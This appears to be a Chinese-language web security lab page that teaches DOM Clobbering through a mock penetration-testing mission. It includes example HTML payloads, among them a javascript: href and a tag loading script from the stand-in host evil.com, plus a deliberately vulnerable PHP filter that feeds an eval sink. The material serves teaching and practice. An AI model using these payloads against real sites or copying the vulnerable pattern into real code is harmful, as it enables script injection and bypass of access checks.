◈ 渗透任务
DOM 属性覆盖攻击验证
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
ConfigApp 配置管理工具 (config.configapp.example.com)
委托方
ConfigApp 的 JS 代码引用了未初始化的变量,可能存在 DOM Clobbering 风险
任务目标
利用 HTML 的 id/name 属性覆盖 JS 变量,绕过安全检查
- 用 HTML 元素覆盖目标 JS 变量
- 绕过安全检查触发代码执行
📖 教程:DOM Clobbering
什么是 DOM Clobbering?
DOM Clobbering 是一种利用 HTML 元素的 id 和 name 属性覆盖 JavaScript 全局变量的技术。当 JavaScript 代码引用一个未定义的变量时,攻击者可以通过注入 HTML 元素来"欺骗"代码。
核心原理:浏览器会自动将 HTML 元素的
id 和 name 属性映射到 window 对象上。如果 JavaScript 代码引用了 window.config,而页面上有 <div id="config">,那么 window.config 就是那个 div 元素。
基础:id → window 映射
<!-- HTML -->
<div id="myVar">Hello</div>
<!-- JavaScript -->
<script>
console.log(window.myVar); // → <div id="myVar">
console.log(window.myVar.innerText); // → "Hello"
</script>
一级 Clobbering:覆盖简单变量
// 目标代码
var debug = window.debug || false;
if (debug) { console.log("Debug mode"); }
// 攻击 payload
<div id="debug"></div>
// 结果:window.debug → HTMLDivElement(truthy 值)
// if (debug) 条件为 true
两级 Clobbering:覆盖嵌套属性
要覆盖 window.config.isAdmin,需要构建一个具有 isAdmin 属性的对象。
方法 1:form + input
<form id="config">
<input name="isAdmin" value="true">
</form>
// window.config → <form id="config">
// window.config.isAdmin → <input name="isAdmin">
// String(window.config.isAdmin) → "true"(input 的 value)
原理:<form> 元素的 name 属性子元素可以通过属性访问器直接访问。
方法 2:form + button
<form id="config">
<button name="isAdmin" value="true"></button>
</form>
方法 3:form + select
<form id="config">
<select name="isAdmin">
<option value="true" selected></option>
</select>
</form>
Clobbering 常用元素
| 元素 | 特性 | 用途 |
|---|---|---|
<a> |
有 href 属性 | clobbering + href javascript: 协议 |
<form> |
name 子元素可通过属性访问 | 两级 clobbering 的父容器 |
<input> |
有 value 属性 | 提供字符串值 |
<img> |
有 src 属性 | clobbering + URL 属性 |
<iframe> |
有 contentWindow | 创建嵌套浏览上下文 |
<object> |
有 contentWindow/data | 加载外部资源 |
实战技巧
技巧 1:覆盖 href 执行 JS
// 如果目标代码读取 config.url 并赋值给 location.href
<a id="config" name="url" href="javascript:alert(1)"></a>
技巧 2:覆盖 src 加载恶意资源
// 如果目标代码读取 config.scriptSrc 并动态加载
<img id="config" name="scriptSrc" src="https://evil.com/evil.js">
技巧 3:多个属性同时 clobber
// 同时覆盖 config.a 和 config.b
<form id="config">
<input name="a" value="value1">
<input name="b" value="value2">
</form>
CVE 案例
- CVE-2024-38354 — Angular DOM Clobbering
- CVE-2022-36038 — Next.js Image 组件
- CVE-2021-21311 — Adminer SSRF via Clobbering
- GitHub Issue #13339 — DOMPurify bypass via Clobbering
🎯 练习:DOM Clobbering
目标:页面的 JavaScript 代码引用了
window.config,但该变量未定义。
净化器移除了 <script> 标签和 on* 事件,但未处理 id/name 属性。
请利用 DOM Clobbering 覆盖 window.config.isAdmin,使 admin 面板显示。
页面渲染区(你的 HTML 将在此处渲染):
模拟的 JavaScript 行为:
var config = window.config || { isAdmin: false };
if (config.isAdmin) {
// 显示 admin 面板
showAdminPanel();
}
// config.greeting 可能被用于 eval() 或其他 sink
📄 查看漏洞源码 (PHP)
<?php
// 页面输出用户提供的 HTML(经过"安全"过滤)
$input = $_GET['input'];
// "安全"过滤:只移除 script 标签和 on* 事件处理器
$input = preg_replace("/<script\b[^>]*>.*?<\/script>/is", "", $input);
$input = preg_replace("/\bon\w+\s*=/i", "blocked=", $input);
echo $input;
?>
<script>
// 应用配置对象 — 开发者假设它在服务端已定义
// 但如果 window.config 被 DOM 元素覆盖...
var config = window.config || { isAdmin: false };
if (config.isAdmin) {
document.getElementById("admin-panel").style.display = "block";
eval(config.greeting || "console.log('hello')");
}
</script>
🔒 过滤状态:
<script>标签 — 已移除on*事件处理器 — 已替换为 blockedid/name属性 — 未过滤<form>,<input>,<a>等标签 — 未过滤